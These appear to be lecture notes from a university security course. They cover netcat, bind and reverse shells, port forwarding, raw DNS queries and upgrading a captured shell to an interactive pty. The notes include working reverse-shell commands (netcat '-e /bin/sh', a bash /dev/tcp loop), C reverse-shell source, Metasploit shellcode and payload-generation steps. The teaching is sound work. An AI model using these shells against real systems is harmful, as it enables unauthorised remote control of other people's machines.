Rough notes from lectures Two machines (at least) where you have accts: Kali, moxie (VM provisioned for this class, public IP, no filters) From Kali: kali$ nc amazon.com 80 GET / // why didn't I need HTTP/1.1 at the end? (do again with 1.0 and 1.1) // why did I get disconnected? // nc is often considered a black hat tool and unavailable on many stock // distros, but it's reasonable for use as a debugging tool as well, so we // have it on most of our machines kali$ nc -vvl -p 80 // why does it fail? (Ans: it's < 1024) kali$ nc -vvl -p 8888 // netstat and look at LISTEN port // now in separate window (as jrblack) kali$ nc localhost 8888 // bidirectional chat! (Not that useful.. localhost) // Use netstat to see connection IPs/ports kali$ netstat -ant // well-known ports are in /etc/services // Who else can connect to kali other than itself? No one (since Kali is NATted) // Try hitchens hitchens$ nc -lvvp 8888 // Have someone connect to it and chat // Try connecting with udp client // Set server to UDP hitchens$ nc -ulvvp 8888 // But I can connect to ANY port outbound // Open research, try to listen on a high port research % nc -vvl -p 9999 usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version] [-x proxy_address[:port]] [hostname] [port[s]] // why? Because nc comes in various flavors: traditional nc, gnu version, // openbsd version, netcat 6; debian ships with traditional and openbsd // versions; ubuntu has openbsd (kali is debian, but they installed traditional); // RHEL has GNU version // worse, some ppl compile with various options turned off/on, and there // is a WINDOWS version as well that's different yet again moxie$ nc -vvl -p 8888 usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]] moxie$ nc -h OpenBSD netcat (Debian patchlevel 1.89-3ubuntu2) . . // note there is no -e or -c, and -p is source port... blah moxie$ which nc /bin/nc moxie$ file /bin/nc /bin/nc: symbolic link to `/etc/alternatives/nc' moxie$ file /etc/alternatives/nc // let's get traditional moxie$ apt-cache search netcat . netcat-traditional - TCP/IP swiss army knife . moxie$ sudo apt-get install netcat-traditional . moxie$ dpkg -L !$ . /bin/nc.traditional . moxie$ sudo update-alternatives --set nc /bin/nc.traditional update-alternatives: using /bin/nc.traditional to provide /bin/nc (nc) in manual mode. moxie$ nc -h // Yay, now we have it // ------------------------------------- // get on research in seperate window and open a port research% nc -vvl localhost 9111 moxie$ nc research.cs.colorado.edu 9111 ...No Route to Host // Doh! Firewall... moxie$ nc -vvl -p 8888 kali$ nc moxie.cs.colorado.edu 8888 // works // getting a "bind shell" on moxie from kali (don't use ssh just yet) moxie$ nc -vvl -p 8888 -e /bin/sh kali$ nc moxie.cs.colorado.edu 8888 // can I connect TO kali from moxie? // (Have a student log in to moxie using identikey; tell everyone they // can log in provided they are enrolled in the class) moxie$ nc -vvl -p 8888 kali$ sudo -i kali# nc -e /bin/sh moxie.cs.colorado.edu 8888 // reverse shell ls // explain why we need reverse shells ----------------------------------------------------- // port forwarding moxie$ nc -vvl -p 8888 -c 'nc www.cs.colorado.edu 80' // moxie as a public proxy moxie$ nc -vvl -p 8888 -c 'nc -vvl -p 9999' // Why SOCKS proxies are better ======= bash reverse shell moxie$ nc -vvl -p 8888 research% bash research$ exec 5<>/dev/tcp/moxie/8888 research$ cat <& 5 | while read line; do $line 2>& 5 >& 5; done ======= C reverse shell (from our text) moxie$ cat hacking/rshell2.c #include #include int main() { char *shell[2]; int soc, remote; struct sockaddr_in serv_addr; serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0x0100007f; serv_addr.sin_port = htons(8888); soc = socket(2,1,0); remote = connect(soc, (struct sockaddr*)&serv_addr, 0x10); dup2(soc, 0); dup2(soc, 1); dup2(soc, 2); shell[0] = "/bin/sh"; shell[1] = 0; execve(shell[0], shell, 0); } ========= Reverse shell from metasploit ==== kali$ vi rshell.c unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10" "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f" "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xdb\x6a\x01" "\x58\xcd\x80"; main() { ((void(*)())buf)(); } ----------- Metasploit notes: msfconsole show payloads use payloads/linux/x86/shell... show options set LHOST 128.138.1.1 generate generate -b '0x31' ======== DNS STUFF Where is my DNS info? /etc/resolv.conf gives servers, obtained from DHCP usually What does a query look like? Use dig How to program it? import socket addr1 = socket.gethostbyname('google.com') addr2 = socket.gethostbyname('yahoo.com') print(addr1, addr2) --- #!/usr/bin/python import socket # UDP socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # this binds the socket to some ephemeral port # the DNS request is recursive, to Google's public DNS, and is for www.colorado.edu s.sendto("db42010000010000000000000377777708636f6c6f7261646f036564750000010001".decode("hex"), ("8.8.8.8", 53)) # Get response and print in hex data, addr = s.recvfrom(1024) print ":".join(x.encode('hex') for x in data) The header contains the following fields: 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| Z | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / QNAME / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QTYPE | Usually 1 (A record) +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QCLASS | Usually 1 (IN query) +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ Response is pretty obvious... look for the 777777 and the IP address is at the end --- How does a browser use it? FIRST: check cache (ipconfig /displaydns in Windows; Linux nscd, but usually disabled by default, so no cache for Linux) Chrome has a cache chrome://net-internals/#dns Then stub resolver in OS, etc. Use dig +trace and explain what it's doing ===================== How to get a prompt with bind/reverse shells The spawned remote bash doesn't see a terminal so thinks it's outputting to a pipe and does the usual stuff (like ls in one column) and doesn't give a prompt. Also, TAB expansion doesn't work (because the TAB isn't being sent to the remote TTY for translation). And ^C and ^Z affect the local nc session instead of being sent to the remote side. To give bash a pty: $ script /dev/null # if script is present or $ python -c 'import pty; pty.spawn("/bin/bash")' one of these should work. You should get a prompt. but then the local bash is echoing as you type, and the remote one is as well. But the remote bash doesn't see the line you typed until you hit enter because the local tty is echoing but holding off sending the line until it's complete. To disable this, ^Z and $ stty -icanon min 1 time 0 $ fg now everything is sent immediately to the remote tty as it's typed. But we're seeing double because the local tty is still echoing. To turn off echo, ^Z again and: $ stty -echo $ fg Ok, pretty good! Even vi works and sl and other fun stuff. But ^C and ^Z are still intercepted locally. Do we want this? If we give it up, there's no going back. Hit ^Z $ stty raw $ fg Ok, "raw" actually re-does the "-icanon min 1 time 0" as well as a bunch of other options with parity (irrelevant here) and suppressing translating ^C to SIGINT, etc. So ^C is passed through now. Note that it's not easy to kill the local nc because you have lost the ability to send signals to it with the keyboard. You can kill the nc process from another tab, or kill the nc on the remote side. Synopsis: Get a bind/reverse shell. Convert to pty (with script or python). Then ^Z and type "stty raw -echo" and "fg"